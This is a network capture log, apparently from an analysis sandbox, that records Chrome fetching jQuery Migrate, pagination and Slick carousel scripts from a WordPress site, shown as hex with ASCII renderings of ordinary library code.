2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 61 72 20 74 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 23 22 3d 3d 3d 65 26 26 28 75 28 22 6a 51 75 65 72 79 28 20 27 23 27 20 29 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 73 65 6c 65 63 74 6f 72 22 29 2c 74 5b 30 5d 3d 5b 5d 29 2c 6c 2e 61 70 70 6c 79 28 74 68 69 73 2c 74 29 7d 2c 73 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 3d 73 2e 66 6e 2c 73 2e 66 69 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 Data Ascii: ar t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),l.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 22 6a 51 75 65 72 79 2e 6e 6f 64 65 4e 61 6d 65 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 6f 28 73 2c 22 69 73 41 72 72 61 79 22 2c 41 72 72 61 79 2e 69 73 41 72 72 61 79 2c 22 6a 51 75 65 72 79 2e 69 73 41 72 72 61 79 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 22 29 29 2c 65 28 22 33 2e 33 2e 30 22 29 26 26 28 6f 28 73 2c 22 69 73 4e 75 6d 65 72 69 63 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 79 70 65 6f 66 20 65 3b 72 65 74 75 72 6e 28 22 6e 75 6d 62 65 72 22 3d 3d 74 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 74 29 26 26 21 69 73 4e 61 4e 28 65 2d 70 61 72 Data Ascii: deName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),o(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(o(s,"isNumeric",function(e){var t=typeof e;return("number"==t\|\|"string"==t)&&!isNaN(e-par
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 3d 73 2e 66 6e 2e 74 6f 67 67 6c 65 43 6c 61 73 73 2c 76 3d 2f 5c 53 2b 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 29 7d 73 2e 66 6e 2e 72 65 6d 6f 76 65 41 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 73 2e 65 61 63 68 28 65 2e 6d 61 74 63 68 28 76 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 26 26 28 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 72 65 6d 6f 76 65 41 74 74 72 20 6e 6f 20 6c 6f 6e 67 65 72 20 73 65 74 73 20 62 Data Ascii: =s.fn.toggleClass,v=/\S+/g;function j(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}s.fn.removeAttr=function(e){var r=this;return s.each(e.match(v),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.fn.removeAttr no longer sets b
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 29 2c 73 2e 63 73 73 4e 75 6d 62 65 72 7c 7c 28 73 2e 63 73 73 4e 75 6d 62 65 72 3d 7b 7d 29 2c 51 3d 73 2e 66 6e 2e 63 73 73 2c 73 2e 66 6e 2e 63 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 28 73 2e 65 61 63 68 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 66 6e 2e 63 73 73 2e 63 61 6c 6c 28 6f 2c 65 2c 74 29 7d 29 2c 74 68 69 73 29 3a 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 72 3d 6a 28 65 29 2c 6e 3d 72 2c 77 2e 74 65 73 74 28 6e 29 26 26 78 2e 74 65 73 74 28 6e 5b Data Ascii: y(this,arguments)}})),s.cssNumber\|\|(s.cssNumber={}),Q=s.fn.css,s.fn.css=function(e,t){var r,n,o=this;return e&&"object"==typeof e&&!Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(o,e,t)}),this):("number"==typeof t&&(r=j(e),n=r,w.test(n)&&x.test(n[
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 61 64 64 2c 43 3d 73 2e 65 76 65 6e 74 2e 66 69 78 3b 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 3d 5b 5d 2c 73 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 3d 7b 7d 2c 74 28 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 2c 22 63 6f 6e 63 61 74 22 2c 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 2e 63 6f 6e 63 61 74 2c 22 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 70 72 6f 70 73 2e 63 6f 6e 63 61 74 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 2c 73 2e 65 76 65 6e 74 2e 66 69 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3d 65 2e 74 79 70 65 2c 6e 3d 74 68 69 73 2e 66 69 78 48 6f 6f 6b 73 5b 72 5d 2c 6f 3d 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 3b 69 66 28 6f 2e 6c 65 6e 67 74 68 29 7b 75 28 22 6a 51 75 65 72 79 2e Data Ascii: add,C=s.event.fix;s.event.props=[],s.event.fixHooks={},t(s.event.props,"concat",s.event.props.concat,"jQuery.event.props.concat() is deprecated and removed"),s.event.fix=function(e){var t,r=e.type,n=this.fixHooks[r],o=s.event.props;if(o.length){u("jQuery.
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 28 72 2c 6e 75 6c 6c 2c 65 2c 74 29 3a 74 68 69 73 2e 74 72 69 67 67 65 72 28 72 29 7d 7d 29 2c 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 28 6e 2e 64 6f 63 75 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 61 64 79 22 29 7d 29 2c 73 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 72 65 61 64 79 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 3d 3d 3d 6e 2e 64 6f 63 75 6d 65 6e 74 26 26 75 28 22 27 72 65 61 64 79 27 20 65 76 65 6e 74 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 7d 7d 2c 73 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 62 69 6e 64 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 Data Ascii: (r,null,e,t):this.trigger(r)}}),s(function(){s(n.document).triggerHandler("ready")}),s.event.special.ready={setup:function(){this===n.document&&u("'ready' event is deprecated")}},s.fn.extend({bind:function(e,t,r){return u("jQuery.fn.bind() is deprecated")
2024-04-11 21:26:39 UTC	1222	IN	Data Raw: 28 29 20 72 65 71 75 69 72 65 73 20 61 20 76 61 6c 69 64 20 44 4f 4d 20 65 6c 65 6d 65 6e 74 22 29 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 3a 76 6f 69 64 20 30 29 7d 2c 73 2e 61 6a 61 78 26 26 28 44 3d 73 2e 70 61 72 61 6d 2c 73 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 73 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 73 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 72 26 26 28 75 28 22 6a 51 75 65 72 79 2e 70 61 72 61 6d 28 29 20 6e 6f 20 6c 6f 6e 67 65 72 20 75 73 65 73 20 6a 51 75 65 72 79 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 22 29 2c 74 3d 72 29 2c 44 2e 63 61 6c Data Ascii: () requires a valid DOM element"),arguments.length?this:void 0)},s.ajax&&(D=s.param,s.param=function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(u("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),D.cal
2024-04-11 21:26:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49741	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	584	OUT	GET /wp-content/plugins/ele-custom-skin/assets/js/ecs_ajax_pagination.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	937	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5cea1542c6-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"63ecad57-ecb" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 15 Feb 2023 10:00:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mZ%2BqHRI9k7nHl2GE95bkgPGcPjRpknk5OOTaDV5DsvBQ9lFYSvmVDrd8uOUJl4WiGrQK337ORXU64sEaW8b2l1CF4gcy0r2xJ82xeZJg5UsKmqG8WiBkKTzK%2BBL2Scpa07M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	432	IN	Data Raw: 65 63 62 0d 0a 6a 51 75 65 72 79 28 20 64 6f 63 75 6d 65 6e 74 20 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6a 51 75 65 72 79 28 20 22 2e 65 63 73 2d 6c 6f 61 64 2d 6d 6f 72 65 2d 62 75 74 74 6f 6e 22 20 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 77 69 64 67 65 74 3d 6a 51 75 65 72 79 28 74 68 69 73 29 3b 0a 20 20 20 20 73 65 74 74 69 6e 67 73 20 3d 20 77 69 64 67 65 74 2e 61 74 74 72 28 22 64 61 74 61 2d 73 65 74 74 69 6e 67 73 22 29 3b 0a 20 20 20 20 61 72 67 73 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 74 74 69 6e 67 73 29 3b 0a 20 20 20 20 77 69 64 67 65 74 2e 63 68 69 6c 64 72 65 6e 28 20 22 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 75 74 74 6f 6e 22 20 29 2e 61 74 74 72 28 22 68 72 65 66 22 2c Data Ascii: ecbjQuery( document ).ready(function() { jQuery( ".ecs-load-more-button" ).each(function() { widget=jQuery(this); settings = widget.attr("data-settings"); args = JSON.parse(settings); widget.children( ".elementor-button" ).attr("href",
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 64 5f 6e 65 78 74 5f 70 61 67 65 28 69 64 29 7b 0a 0a 20 20 77 69 64 67 65 74 20 3d 20 6a 51 75 65 72 79 28 22 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 5b 64 61 74 61 2d 69 64 3d 27 22 20 2b 20 69 64 20 2b 20 22 27 5d 20 2e 65 63 73 2d 70 6f 73 74 73 22 29 3b 0a 20 20 73 65 74 74 69 6e 67 73 20 3d 20 77 69 64 67 65 74 2e 61 74 74 72 28 22 64 61 74 61 2d 73 65 74 74 69 6e 67 73 22 29 3b 0a 20 20 61 72 67 73 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 74 74 69 6e 67 73 29 3b 0a 20 20 0a 20 20 70 6f 73 74 73 20 3d 20 6a 51 75 65 72 79 28 22 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 5b 64 61 74 61 2d 69 64 3d 27 22 20 2b 20 61 72 67 73 2e 77 69 64 67 65 74 5f 69 64 20 2b 20 22 27 5d 20 2e 65 63 73 2d 70 6f 73 74 73 22 29 3b 0a 20 Data Ascii: d_next_page(id){ widget = jQuery(".elementor-element[data-id='" + id + "'] .ecs-posts"); settings = widget.attr("data-settings"); args = JSON.parse(settings); posts = jQuery(".elementor-element[data-id='" + args.widget_id + "'] .ecs-posts");
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 29 7b 0a 20 20 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 5f 74 65 78 74 2e 68 74 6d 6c 28 20 61 74 74 62 2e 74 65 78 74 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 5f 74 65 78 74 2e 62 6c 75 72 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 6e 65 77 73 65 74 74 69 6e 67 73 20 3d 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 61 72 67 73 29 3b 0a 20 20 20 20 20 20 20 20 77 69 64 67 65 74 2e 61 74 74 72 28 22 64 61 74 61 2d 73 65 74 74 69 6e 67 73 22 2c 6e 65 77 73 65 74 74 69 6e 67 73 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 61 72 67 73 2e 6c 6f 61 64 5f 6d 65 74 68 6f 64 20 3d 3d 20 27 6c 61 7a 79 6c 6f 61 64 27 29 20 7b 6a 51 75 65 72 79 28 61 6e 69 6d 61 74 69 6f Data Ascii: ){ button_text.html( attb.text ); button_text.blur(); } newsettings = JSON.stringify(args); widget.attr("data-settings",newsettings); if(args.load_method == 'lazyload') {jQuery(animatio
2024-04-11 21:26:39 UTC	624	IN	Data Raw: 65 77 75 72 6c 20 3d 20 63 75 72 72 65 6e 74 75 72 6c 2e 72 65 70 6c 61 63 65 28 72 65 67 65 78 2c 20 27 2f 27 29 3b 0a 20 20 6e 65 77 75 72 6c 20 3d 20 6e 65 77 75 72 6c 20 2b 20 27 70 61 67 65 2f 27 20 2b 20 61 72 67 73 2e 63 75 72 72 65 6e 74 5f 70 61 67 65 20 2b 27 2f 27 3b 0a 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 6e 65 77 75 72 6c 29 3b 0a 20 20 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 7b 75 72 6c 50 61 74 68 3a 6e 65 77 75 72 6c 7d 2c 22 22 2c 6e 65 77 75 72 6c 29 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 45 6c 65 43 75 73 74 6f 6d 53 6b 69 6e 52 65 49 6e 69 74 4a 73 28 61 72 67 73 29 7b 0a 20 20 69 66 28 21 61 72 67 73 2e 72 65 69 6e 69 74 5f 6a 73 29 20 72 65 74 75 72 6e 3b 0a 20 20 6a 51 75 65 72 79 28 27 2e 65 6c 65 6d 65 6e 74 Data Ascii: ewurl = currenturl.replace(regex, '/'); newurl = newurl + 'page/' + args.current_page +'/'; console.log(newurl); history.pushState({urlPath:newurl},"",newurl);}function EleCustomSkinReInitJs(args){ if(!args.reinit_js) return; jQuery('.element
2024-04-11 21:26:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49742	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	585	OUT	GET /wp-content/plugins/tutor-lms-elementor-addons/assets/js/slick.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:39 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5d7c199e02-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fadb-c2cd" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=si8ecOq30s9OHpS9mYlTmw9pZHitI44fKcyXics2naKUZXTnUNke87hWLRLfwuzJBpi6MmFZtoirwsQVBjMuiEDnqqDdZob%2FWqzCqpwjz0YUZjbLbdyDHmoLGIzT46WWXu8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	433	IN	Data Raw: 37 63 30 38 0d 0a 21 20 66 75 6e 63 74 69 6f 6e 28 69 29 20 7b 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 20 22 66 75 6e 63 74 69 6f 6e 22 20 3d 3d 20 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 20 3f 20 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 20 69 29 20 3a 20 22 75 6e 64 65 66 69 6e 65 64 22 20 21 3d 20 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 20 3f 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 69 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 20 3a 20 69 28 6a 51 75 65 72 79 29 20 7d 28 66 75 6e 63 74 69 6f 6e 28 69 29 20 7b 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 20 76 61 72 20 65 20 3d 20 77 69 6e 64 6f 77 2e 53 6c 69 63 6b 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 28 65 20 3d 20 66 75 Data Ascii: 7c08! function(i) { "use strict"; "function" == typeof define && define.amd ? define(["jquery"], i) : "undefined" != typeof exports ? module.exports = i(require("jquery")) : i(jQuery) }(function(i) { "use strict"; var e = window.Slick \|\| {}; (e = fu
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 20 61 73 4e 61 76 46 6f 72 3a 20 6e 75 6c 6c 2c 20 70 72 65 76 41 72 72 6f 77 3a 20 27 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 73 6c 69 63 6b 2d 70 72 65 76 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 50 72 65 76 69 6f 75 73 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 50 72 65 76 69 6f 75 73 3c 2f 62 75 74 74 6f 6e 3e 27 2c 20 6e 65 78 74 41 72 72 6f 77 3a 20 27 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 73 6c 69 63 6b 2d 6e 65 78 74 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 4e 65 78 74 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 4e 65 78 74 3c 2f 62 75 74 74 6f 6e 3e 27 2c 20 61 75 74 6f 70 6c 61 79 3a 20 21 31 2c 20 61 75 74 6f 70 6c 61 79 53 70 65 65 64 3a 20 33 65 33 2c 20 63 65 6e 74 65 72 4d 6f 64 65 3a 20 21 31 2c 20 63 65 6e 74 65 72 Data Ascii: asNavFor: null, prevArrow: '<button class="slick-prev" aria-label="Previous" type="button">Previous</button>', nextArrow: '<button class="slick-next" aria-label="Next" type="button">Next</button>', autoplay: !1, autoplaySpeed: 3e3, centerMode: !1, center
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 6e 61 62 6c 65 64 3a 20 21 31 2c 20 75 6e 73 6c 69 63 6b 65 64 3a 20 21 31 20 7d 2c 20 69 2e 65 78 74 65 6e 64 28 6e 2c 20 6e 2e 69 6e 69 74 69 61 6c 73 29 2c 20 6e 2e 61 63 74 69 76 65 42 72 65 61 6b 70 6f 69 6e 74 20 3d 20 6e 75 6c 6c 2c 20 6e 2e 61 6e 69 6d 54 79 70 65 20 3d 20 6e 75 6c 6c 2c 20 6e 2e 61 6e 69 6d 50 72 6f 70 20 3d 20 6e 75 6c 6c 2c 20 6e 2e 62 72 65 61 6b 70 6f 69 6e 74 73 20 3d 20 5b 5d 2c 20 6e 2e 62 72 65 61 6b 70 6f 69 6e 74 53 65 74 74 69 6e 67 73 20 3d 20 5b 5d 2c 20 6e 2e 63 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 20 3d 20 21 31 2c 20 6e 2e 66 6f 63 75 73 73 65 64 20 3d 20 21 31 2c 20 6e 2e 69 6e 74 65 72 72 75 70 74 65 64 20 3d 20 21 31 2c 20 6e 2e 68 69 64 64 65 6e 20 3d 20 22 68 69 64 64 65 6e 22 2c 20 6e 2e 70 61 75 73 65 64 Data Ascii: nabled: !1, unslicked: !1 }, i.extend(n, n.initials), n.activeBreakpoint = null, n.animType = null, n.animProp = null, n.breakpoints = [], n.breakpointSettings = [], n.cssTransitions = !1, n.focussed = !1, n.interrupted = !1, n.hidden = "hidden", n.paused
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 2b 3e 29 5b 5e 3e 5d 2a 29 24 2f 2c 20 6e 2e 72 65 67 69 73 74 65 72 42 72 65 61 6b 70 6f 69 6e 74 73 28 29 2c 20 6e 2e 69 6e 69 74 28 21 30 29 20 7d 20 7d 28 29 29 2e 70 72 6f 74 6f 74 79 70 65 2e 61 63 74 69 76 61 74 65 41 44 41 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 74 68 69 73 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 66 69 6e 64 28 22 2e 73 6c 69 63 6b 2d 61 63 74 69 76 65 22 29 2e 61 74 74 72 28 7b 20 22 61 72 69 61 2d 68 69 64 64 65 6e 22 3a 20 22 66 61 6c 73 65 22 20 7d 29 2e 66 69 6e 64 28 22 61 2c 20 69 6e 70 75 74 2c 20 62 75 74 74 6f 6e 2c 20 73 65 6c 65 63 74 22 29 2e 61 74 74 72 28 7b 20 74 61 62 69 6e 64 65 78 3a 20 22 30 22 20 7d 29 20 7d 2c 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 53 6c 69 64 65 20 3d 20 65 2e 70 72 6f 74 6f Data Ascii: +>)[^>]*)$/, n.registerBreakpoints(), n.init(!0) } }()).prototype.activateADA = function() { this.$slideTrack.find(".slick-active").attr({ "aria-hidden": "false" }).find("a, input, button, select").attr({ tabindex: "0" }) }, e.prototype.addSlide = e.proto
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3f 20 21 31 20 3d 3d 3d 20 73 2e 6f 70 74 69 6f 6e 73 2e 76 65 72 74 69 63 61 6c 20 3f 20 73 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 61 6e 69 6d 61 74 65 28 7b 20 6c 65 66 74 3a 20 65 20 7d 2c 20 73 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2c 20 73 2e 6f 70 74 69 6f 6e 73 2e 65 61 73 69 6e 67 2c 20 74 29 20 3a 20 73 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 61 6e 69 6d 61 74 65 28 7b 20 74 6f 70 3a 20 65 20 7d 2c 20 73 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2c 20 73 2e 6f 70 74 69 6f 6e 73 2e 65 61 73 69 6e 67 2c 20 74 29 20 3a 20 21 31 20 3d 3d 3d 20 73 2e 63 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 20 3f 20 28 21 30 20 3d 3d 3d 20 73 2e 6f 70 74 69 6f 6e 73 2e 72 74 6c 20 26 26 20 28 73 2e 63 75 72 72 Data Ascii: transformsEnabled ? !1 === s.options.vertical ? s.$slideTrack.animate({ left: e }, s.options.speed, s.options.easing, t) : s.$slideTrack.animate({ top: e }, s.options.speed, s.options.easing, t) : !1 === s.cssTransitions ? (!0 === s.options.rtl && (s.curr
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 20 20 20 20 74 20 3d 20 7b 7d 3b 21 31 20 3d 3d 3d 20 65 2e 6f 70 74 69 6f 6e 73 2e 66 61 64 65 20 3f 20 74 5b 65 2e 74 72 61 6e 73 69 74 69 6f 6e 54 79 70 65 5d 20 3d 20 65 2e 74 72 61 6e 73 66 6f 72 6d 54 79 70 65 20 2b 20 22 20 22 20 2b 20 65 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 20 2b 20 22 6d 73 20 22 20 2b 20 65 2e 6f 70 74 69 6f 6e 73 2e 63 73 73 45 61 73 65 20 3a 20 74 5b 65 2e 74 72 61 6e 73 69 74 69 6f 6e 54 79 70 65 5d 20 3d 20 22 6f 70 61 63 69 74 79 20 22 20 2b 20 65 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 20 2b 20 22 6d 73 20 22 20 2b 20 65 2e 6f 70 74 69 6f 6e 73 2e 63 73 73 45 61 73 65 2c 20 21 31 20 3d 3d 3d 20 65 2e 6f 70 74 69 6f 6e 73 2e 66 61 64 65 20 3f 20 65 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 63 73 73 28 74 29 20 3a 20 65 Data Ascii: t = {};!1 === e.options.fade ? t[e.transitionType] = e.transformType + " " + e.options.speed + "ms " + e.options.cssEase : t[e.transitionType] = "opacity " + e.options.speed + "ms " + e.options.cssEase, !1 === e.options.fade ? e.$slideTrack.css(t) : e
